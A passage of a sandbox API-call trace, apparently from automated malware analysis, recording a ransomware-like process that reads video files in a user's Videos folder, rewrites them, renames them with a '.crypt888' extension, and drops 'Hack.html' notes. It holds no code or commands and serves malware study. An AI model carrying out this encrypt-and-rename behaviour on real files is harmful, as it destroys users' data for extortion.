lpFileInformation=0x39edac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2510980, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xc2510980, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc3d046e0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0084.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0084.920] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hack.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Hack.html.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hack.html.crypt888")) returned 1 [0084.920] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0084.921] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6lJx-Z-", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6lJx-Z-", lpFilePart=0x0) returned 0x2c [0084.921] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6lJx-Z-\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6lJx-Z-\\", lpFilePart=0x0) returned 0x2d [0084.921] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6lJx-Z-\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a168 [0084.921] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0084.921] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0084.921] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0084.922] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0084.922] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0084.922] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0084.922] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0084.922] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0084.922] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6lJx-Z-", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6lJx-Z-", lpFilePart=0x0) returned 0x2c [0084.922] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6lJx-Z-\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6lJx-Z-\\", lpFilePart=0x0) returned 0x2d [0084.922] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6lJx-Z-\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a168 [0084.922] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0084.923] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0084.923] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0084.923] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0084.923] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0084.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0084.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0084.924] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6lJx-Z-\\TjLTx _KC.avi", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6lJx-Z-\\TjLTx _KC.avi", lpFilePart=0x0) returned 0x3a [0084.924] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0084.924] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6lJx-Z-\\TjLTx _KC.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\6ljx-z-\\tjltx _kc.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0084.924] GetFileType (hFile=0x174) returned 0x1 [0084.924] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0084.924] GetFileType (hFile=0x174) returned 0x1 [0084.924] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x5373 [0084.924] ReadFile (in: hFile=0x174, lpBuffer=0x2720d70, nNumberOfBytesToRead=0x5373, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x2720d70*, lpNumberOfBytesRead=0x39ed24*=0x5373, lpOverlapped=0x0) returned 1 [0084.925] CloseHandle (hObject=0x174) returned 1 [0084.945] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6lJx-Z-\\TjLTx _KC.avi", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6lJx-Z-\\TjLTx _KC.avi", lpFilePart=0x0) returned 0x3a [0084.945] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0084.945] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6lJx-Z-\\TjLTx _KC.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\6ljx-z-\\tjltx _kc.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0084.947] GetFileType (hFile=0x174) returned 0x1 [0084.947] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0084.947] GetFileType (hFile=0x174) returned 0x1 [0084.947] WriteFile (in: hFile=0x174, lpBuffer=0x2787cb8*, nNumberOfBytesToWrite=0x5380, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x2787cb8*, lpNumberOfBytesWritten=0x39ed14*=0x5380, lpOverlapped=0x0) returned 1 [0084.948] CloseHandle (hObject=0x174) returned 1 [0084.950] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6lJx-Z-\\TjLTx _KC.avi", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6lJx-Z-\\TjLTx _KC.avi", lpFilePart=0x0) returned 0x3a [0084.950] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6lJx-Z-\\TjLTx _KC.avi.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6lJx-Z-\\TjLTx _KC.avi.crypt888", lpFilePart=0x0) returned 0x43 [0084.950] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0084.950] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6lJx-Z-\\TjLTx _KC.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\6ljx-z-\\tjltx _kc.avi"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5d8bfd0, ftCreationTime.dwHighDateTime=0x1d46533, ftLastAccessTime.dwLowDateTime=0xb3bf1b60, ftLastAccessTime.dwHighDateTime=0x1d45824, ftLastWriteTime.dwLowDateTime=0xc3d509a0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x5380)) returned 1 [0084.950] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0084.950] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6lJx-Z-\\TjLTx _KC.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\6ljx-z-\\tjltx _kc.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6lJx-Z-\\TjLTx _KC.avi.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\6ljx-z-\\tjltx _kc.avi.crypt888")) returned 1 [0084.951] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6lJx-Z-\\u2FLrWx9xNKioBKEzr1m.avi", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6lJx-Z-\\u2FLrWx9xNKioBKEzr1m.avi", lpFilePart=0x0) returned 0x45 [0084.951] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0084.951] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6lJx-Z-\\u2FLrWx9xNKioBKEzr1m.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\6ljx-z-\\u2flrwx9xnkiobkezr1m.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0084.951] GetFileType (hFile=0x174) returned 0x1 [0084.951] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0084.951] GetFileType (hFile=0x174) returned 0x1 [0084.951] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x4374 [0084.952] ReadFile (in: hFile=0x174, lpBuffer=0x278d444, nNumberOfBytesToRead=0x4374, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x278d444*, lpNumberOfBytesRead=0x39ed24*=0x4374, lpOverlapped=0x0) returned 1 [0084.952] CloseHandle (hObject=0x174) returned 1 [0084.973] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6lJx-Z-\\u2FLrWx9xNKioBKEzr1m.avi", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6lJx-Z-\\u2FLrWx9xNKioBKEzr1m.avi", lpFilePart=0x0) returned 0x45 [0084.973] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0084.973] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6lJx-Z-\\u2FLrWx9xNKioBKEzr1m.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\6ljx-z-\\u2flrwx9xnkiobkezr1m.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0084.975] GetFileType (hFile=0x174) returned 0x1 [0084.975] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0084.975] GetFileType (hFile=0x174) returned 0x1 [0084.975] WriteFile (in: hFile=0x174, lpBuffer=0x27ef388*, nNumberOfBytesToWrite=0x4380, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x27ef388*, lpNumberOfBytesWritten=0x39ed14*=0x4380, lpOverlapped=0x0) returned 1 [0084.976] CloseHandle (hObject=0x174) returned 1 [0084.980] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6lJx-Z-\\u2FLrWx9xNKioBKEzr1m.avi", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6lJx-Z-\\u2FLrWx9xNKioBKEzr1m.avi", lpFilePart=0x0) returned 0x45 [0084.980] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6lJx-Z-\\u2FLrWx9xNKioBKEzr1m.avi.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6lJx-Z-\\u2FLrWx9xNKioBKEzr1m.avi.crypt888", lpFilePart=0x0) returned 0x4e [0084.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0084.980] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6lJx-Z-\\u2FLrWx9xNKioBKEzr1m.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\6ljx-z-\\u2flrwx9xnkiobkezr1m.avi"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1f20740, ftCreationTime.dwHighDateTime=0x1d45a94, ftLastAccessTime.dwLowDateTime=0xffe14680, ftLastAccessTime.dwHighDateTime=0x1d45e2d, ftLastWriteTime.dwLowDateTime=0xc3d9cc60, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x4380)) returned 1 [0084.980] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0084.980] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6lJx-Z-\\u2FLrWx9xNKioBKEzr1m.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\6ljx-z-\\u2flrwx9xnkiobkezr1m.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6lJx-Z-\\u2FLrWx9xNKioBKEzr1m.avi.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\6ljx-z-\\u2flrwx9xnkiobkezr1m.avi.crypt888")) returned 1 [0084.981] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6lJx-Z-\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6lJx-Z-\\Hack.html", lpFilePart=0x0) returned 0x36 [0084.981] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0084.981] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6lJx-Z-\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\6ljx-z-\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0085.057] GetFileType (hFile=0x174) returned 0x1 [0085.057] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0085.057] GetFileType (hFile=0x174) returned 0x1 [0085.057] WriteFile (in: hFile=0x174, lpBuffer=0x27f520c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x27f520c*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0085.058] CloseHandle (hObject=0x174) returned 1 [0085.059] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0085.059] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nS6JDf", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nS6JDf", lpFilePart=0x0) returned 0x2b [0085.059] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nS6JDf\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nS6JDf\\", lpFilePart=0x0) returned 0x2c [0085.059] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nS6JDf\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a028 [0085.059] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0085.059] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0085.060] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0085.060] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0085.060] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0085.060] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0085.060] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0085.060] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0085.060] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nS6JDf", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nS6JDf", lpFilePart=0x0) returned 0x2b [0085.060] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nS6JDf\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nS6JDf\\", lpFilePart=0x0) returned 0x2c [0085.060] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nS6JDf\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a028 [0085.061] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0085.061] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0085.061] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0085.061] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0085.061] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0085.062] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0085.062] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0085.062] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nS6JDf\\e-yoT VZcoQ5xZCrX5f0.mp4", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nS6JDf\\e-yoT VZcoQ5xZCrX5f0.mp4", lpFilePart=0x0) returned 0x44 [0085.062] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0085.062] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nS6JDf\\e-yoT VZcoQ5xZCrX5f0.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ns6jdf\\e-yot vzcoq5xzcrx5f0.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.062] GetFileType (hFile=0x174) returned 0x1 [0085.062] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0085.062] GetFileType (hFile=0x174) returned 0x1 [0085.062] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x813a [0085.062] ReadFile (in: hFile=0x174, lpBuffer=0x27f7d58, nNumberOfBytesToRead=0x813a, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x27f7d58*, lpNumberOfBytesRead=0x39ed24*=0x813a, lpOverlapped=0x0) returned 1 [0085.084] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nS6JDf\\e-yoT VZcoQ5xZCrX5f0.mp4", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nS6JDf\\e-yoT VZcoQ5xZCrX5f0.mp4", lpFilePart=0x0) returned 0x44 [0085.084] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0085.084] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nS6JDf\\e-yoT VZcoQ5xZCrX5f0.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ns6jdf\\e-yot vzcoq5xzcrx5f0.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.086] GetFileType (hFile=0x174) returned 0x1 [0085.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0085.086] GetFileType (hFile=0x174) returned 0x1 [0085.086] WriteFile (in: hFile=0x174, lpBuffer=0x286d160*, nNumberOfBytesToWrite=0x8140, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x286d160*, lpNumberOfBytesWritten=0x39ed14*=0x8140, lpOverlapped=0x0) returned 1 [0085.088] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nS6JDf\\e-yoT VZcoQ5xZCrX5f0.mp4", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nS6JDf\\e-yoT VZcoQ5xZCrX5f0.mp4", lpFilePart=0x0) returned 0x44 [0085.088] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nS6JDf\\e-yoT VZcoQ5xZCrX5f0.mp4.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nS6JDf\\e-yoT VZcoQ5xZCrX5f0.mp4.crypt888", lpFilePart=0x0) returned 0x4d [0085.088] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0085.088] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nS6JDf\\e-yoT VZcoQ5xZCrX5f0.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ns6jdf\\e-yot vzcoq5xzcrx5f0.mp4"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4b7e070, ftCreationTime.dwHighDateTime=0x1d45ac7, ftLastAccessTime.dwLowDateTime=0x9ff460, ftLastAccessTime.dwHighDateTime=0x1d45cf6, ftLastWriteTime.dwLowDateTime=0xc3ea7600, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x8140)) returned 1 [0085.088] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0085.088] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nS6JDf\\e-yoT VZcoQ5xZCrX5f0.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ns6jdf\\e-yot vzcoq5xzcrx5f0.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nS6JDf\\e-yoT VZcoQ5xZCrX5f0.mp4.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ns6jdf\\e-yot vzcoq5xzcrx5f0.mp4.crypt888")) returned 1 [0085.090] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nS6JDf\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nS6JDf\\Hack.html", lpFilePart=0x0) returned 0x35 [0085.090] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0085.090] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nS6JDf\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ns6jdf\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0085.108] GetFileType (hFile=0x174) returned 0x1 [0085.108] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0085.108] GetFileType (hFile=0x174) returned 0x1 [0085.108] WriteFile (in: hFile=0x174, lpBuffer=0x2876dac*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x2876dac*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0085.109] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0085.110] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g", lpFilePart=0x0) returned 0x38 [0085.110] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\", lpFilePart=0x0) returned 0x39 [0085.110] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QUc7BgiRXJcvEI6AV_g\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a2e8 [0085.110] FindNextFileW (in: hFindFile=0x59a2e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0085.110] FindNextFileW (in: hFindFile=0x59a2e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0085.110] FindNextFileW (in: hFindFile=0x59a2e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0085.111] FindNextFileW (in: hFindFile=0x59a2e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0085.111] FindNextFileW (in: hFindFile=0x59a2e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0085.111] FindClose (in: hFindFile=0x59a2e8 | out: hFindFile=0x59a2e8) returned 1 [0085.111] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) 